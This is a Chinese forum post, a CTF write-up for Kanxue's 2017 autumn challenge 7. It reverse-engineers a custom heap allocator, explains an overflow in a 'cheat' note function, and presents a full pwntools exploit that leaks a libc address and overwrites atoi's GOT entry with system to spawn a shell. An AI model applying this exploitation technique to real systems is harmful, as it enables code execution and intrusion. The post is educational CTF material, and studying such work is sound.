首页
论坛
课程
招聘
[原创]看雪.TSRC 2017CTF秋季赛第七题WP
2017-11-6 22:21 1466

[原创]看雪.TSRC 2017CTF秋季赛第七题WP

2017-11-6 22:21
1466

看雪.TSRC 2017CTF秋季赛第七题WP

此题是模拟堆的分配管理。漏洞点比较明显,利用上也不复杂,和堆漏洞的常见利用方法相似。

程序分析

程序先mmap了一段大小为4096字节的内存,将开始地址、结束地址保存,具体见代码:

void *init_mem_400DE7()
{
  char *v0; // rax
  void *result; // rax

  v0 = (char *)mapmem_400966();
  memstart_6050C0 = (__int64)v0;
  memend_6050C8 = (__int64)(v0 + 0x1000);
  next_mem_addr_6050D0 = (__int64)v0;
  result = malloc(0x50uLL);
  first_chunk_6050D8 = (__int64)result;
  return result;
}

然后进入程序主功能函数,是类似游戏角色管理的功能。有注册、登录、探图、捡装备、丢装备,除此之外,还有一个叫cheat的一个功能,可以多次往一地址写内容。

 

再说游戏流程前,先说几个结构体。
账号信息 信息有用户名、密码、角色信息指针。

Account         struc ; (sizeof=0x30, mappedto_6)
00000000 unknow          dq ?
00000008 name            db 16 dup(?)
00000018 password        db 16 dup(?)
00000028 character       dq ?                    ; offset
00000030 Account         ends

角色信息 信息有角色名、健康值、体力值、背包剩余空间、位置、装备信息指针。

00000000 Character       struc ; (sizeof=0x38, mappedto_7)
00000000 cname           db 16 dup(?)
00000010 health          dq ?
00000018 stamina         dq ?
00000020 weight_remain   dq ?
00000028 position        dq ?
00000030 item            dq ?                    ; offset
00000038 Character       ends

装备信息 信息有装备序号、装备重量、拥有数目、指向下一件装备的指针、弹药量、威力值。

00000000 Item            struc ; (sizeof=0x30, mappedto_8)
00000000 item_id         dq ?
00000008 item_weight     dq ?
00000010 num             dq ?
00000018 next_item       dq ?
00000020 bullet          dq ?
00000028 power           dq ?
00000030 Item            ends

Note信息 这个是类似note的作弊功能。

Note            struc ; (sizeof=0x30, mappedto_9)
00000000 name            db 16 dup(?)
00000010 content         db 32 dup(?)
00000030 Note            ends

游戏流程是先注册账号及角色。
注册时分别创建AccountCharacter类型的结构体变量,存储账户和角色信息。

 

再登录进游戏主菜单进行操作。主菜单如下:

1.Show my status

2.View the items in the package

3.GO TO..

4.Explore here

5.cheat

0.exit

  • Show my status
    查看角色当前状态。显示角色名、健康值、体力值、背包使用率、位置信息
  • View the items
    查看背包里的装备信息,并可丢弃装备。丢弃时会进行链表的元素删除操作。
  • GO TO..
    传送至某地,实际在操作上,只是改写Character.position
  • Explore here
    探索功能,在实现上是通过随机数生成来模拟物品的随机掉落。一个装备就是一个Item结构体变量,并链接成单向链表。增加装备的实现是:若背包中已有此装备,则此装备数目加1,否则新建一个Item结构体变量,并插入到第二个位置。
  • cheat
    首次使用此功能时会创建一个Note结构体变量,并写入Note.nameNote.content值。后面可以向Note.content写入最多300字节的数据。
  • exit
    返回到登录

游戏角色的数据全部保存在模拟的堆空间中,一个结构体变量对应一个堆空间。题目提供自写的模拟堆分配功能,但无释放功能。
模拟堆的分配过程是:根据记录的未用空间开始地址,当前的分配大小,计算出下一次分配的开始地址,写16字节的header信息并返回当前空间数据块的地址(header_addr+0x10),属于空间连续分配。
与此相关的是一个写模拟chunk地址的功能。此功能可以将申请到的模拟chunk的地址写到目标地址处。包括一些header等操作,似乎还有些bins管理的意思,实际意义没怎么看明白,利用时注意点就OK。

 

以上代码看完,很容易就能发现cheat功能存在溢出。本来Note数据结构大小为48字节,Note.content大小为32字节,除首次调用外都能写入不大于300字节的数据。

漏洞利用

总感觉此题利用方式不止一种,不过没有深究。

 

思路是,cheat功能是唯一可以多次写数据的功能。如果能改写此功能的写入地址,那就能随意写数据。

 

在此之前,还需要泄露libc等信息。能泄露信息的地方:一是打印角色名时;二是打印装备信息时。后一种比较实际可靠。

 

由于模拟堆是连续空间分配的,所以先cheat,申请Note的变量空间,再explorer,创建Item的变量空间,而此空间是落在cheat的可改写范围内的。可通过构造假的Item链表,然后通过View the items功能泄露出信息。为了程序不死,开始泄露的是rand的地址,查Libc不确定,又泄露了其它的,程序会崩掉。

 

得到信息下一步就是改写got表了。先看下一些全局变量的位置,上面的假链表构造也是利用了全局变量位置。

.bss:00000000006050C0 memstart_6050C0 dq ?  
.bss:00000000006050C0                
.bss:00000000006050C8 memend_6050C8   dq ? 
.bss:00000000006050C8
.bss:00000000006050D0 next_mem_addr_6050D0 dq ? 
.bss:00000000006050D0
.bss:00000000006050D8 first_chunk_6050D8 dq ? 
.bss:00000000006050D8
.bss:00000000006050E0 qword_6050E0    dq ?  
.bss:00000000006050E0
.bss:00000000006050E8 ; Account *account_6050E8
.bss:00000000006050E8 account_6050E8  dq ?    
.bss:00000000006050E8 
.bss:00000000006050F0 ; Note *cheat_content_6050F0
.bss:00000000006050F0 cheat_content_6050F0 dq ?  
.bss:00000000006050F0

改写的实现第一步,必须把需改写的地址值写入到6050F0地址处。这样的改写也可以通过构造假链表实现。

ItemA->next_item = ItemB;
ItemB->next_item = ItemC;
//此时删除ItemB
ItemA->next_item = ItemC

改写的目标选择atoigot表。

 

最后附上我的exp,加上IDB文件(见附件)。

#!/usr/bin/env python
# Author: poyoten @ Chamd5
from pwn import *
import re

context.arch = 'amd64'
# libc = ELF('./libc.so.6')
if len(sys.argv) < 2:
    p = process('./pwn')   
    context.log_level = 'debug'

else:   
    p = remote(sys.argv[1], int(sys.argv[2]))




def  reg(name,passwd,character):
    p.recvuntil('Signup\n==============================\n')
    p.sendline('2')
    p.recvuntil('username\n')
    p.sendline(name)
    p.recvuntil('password\n')
    p.sendline(passwd)
    p.recvuntil('a name\n')
    p.sendline(character)

def  login(name,passwd):
    p.recvuntil('Signup\n==============================\n')
    p.sendline('1')
    p.recvuntil('username:\n')
    p.sendline(name)    
    p.recvuntil('password:\n')
    p.sendline(passwd)

def  showstatus():
    p.recvuntil('exit\n')
    p.sendline('1')
    return  p.recv()    

def  viewitem(idx):
    p.recvuntil('exit\n')
    p.sendline('2')
    s = p.recvuntil('Choice:\n')
    p.sendline(str(idx))
    return s

def deleteitem():
    p.recvuntil('2.return\n')
    p.sendline('1')
    p.recvuntil('2.return\n')
    p.sendline('2')
    p.recvuntil('Choice:\n')
    p.sendline('10')

def  gotosw(idx):
    p.recvuntil('exit\n')
    p.sendline('3')
    p.recvuntil('Primorsk\n')
    p.sendline(str(idx))

def  explorer():
    while True:
        p.recvuntil('exit\n')
        p.sendline('4')
        s = p.recv(60)
        if s.find('nothing found') == -1:
            break
    p.recvuntil('pick up it?\n')
    p.sendline('y')

def  cheat(name,content,flag):
    p.recvuntil('exit\n')
    p.sendline('5')
    if  not flag:
        p.recvuntil('content:\n')
        p.sendline(content)
    else:
        p.recvuntil('name:\n')
        p.sendline(name)
        p.recvuntil('content:\n')
        p.sendline(content)


def exp(): 

    itoa_plt = 0x605078
    mem_addr = 0x6050D8
    rand_off = 0x3af60
    system_off = 0x45390  
    # rand_off = 0x3cfb0
    # system_off = 0x46590 
    reg('/bin/sh','password','haha')    
    login('/bin/sh','password',)

    cheat('A'*15,'content',True)

    gotosw(1)   
    explorer()

    payload = p64(1)+p64(itoa_plt)+p64(1)+p64(1)
    payload += p64(1)+p64(0x40)+p64(1)+p64(1)+p64(1)+p64(mem_addr )
    cheat('',payload,False)

    # gdb.attach(p,'b *0x403093')

    res = viewitem(10)
    account_addr = int(re.findall(r'No.2 error \* (\d+)\W',res)[0])
    log.info('[*]:account addr:'+hex(account_addr))
    rand_addr = int(re.findall(r'No.4 error \* (\d+)\W',res)[0])
    log.info( '[*]:rand got:'+hex(rand_addr))
    payload = p64(1)+p64(mem_addr+8)+p64(1)+p64(1)
    payload += p64(1)+p64(0x40)+p64(1)+p64(1)+p64(1)+p64(mem_addr )
    cheat('',payload,False)
    viewitem(3)

    deleteitem()

    cheat('',p64(itoa_plt-0x10),False)

    system_addr  = rand_addr-rand_off+system_off 
    log.info('[*]system address:'+hex(system_addr))
    cheat('',p64(system_addr),False)

    log.info('[*]get shell!!!')
    p.recvuntil('exit\n')   
    p.sendline(p64(account_addr+8))

    p.sendline('bash')  
    p.interactive()

if __name__ == '__main__':
    exp()

看雪侠者千人榜,看看你上榜了吗?

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回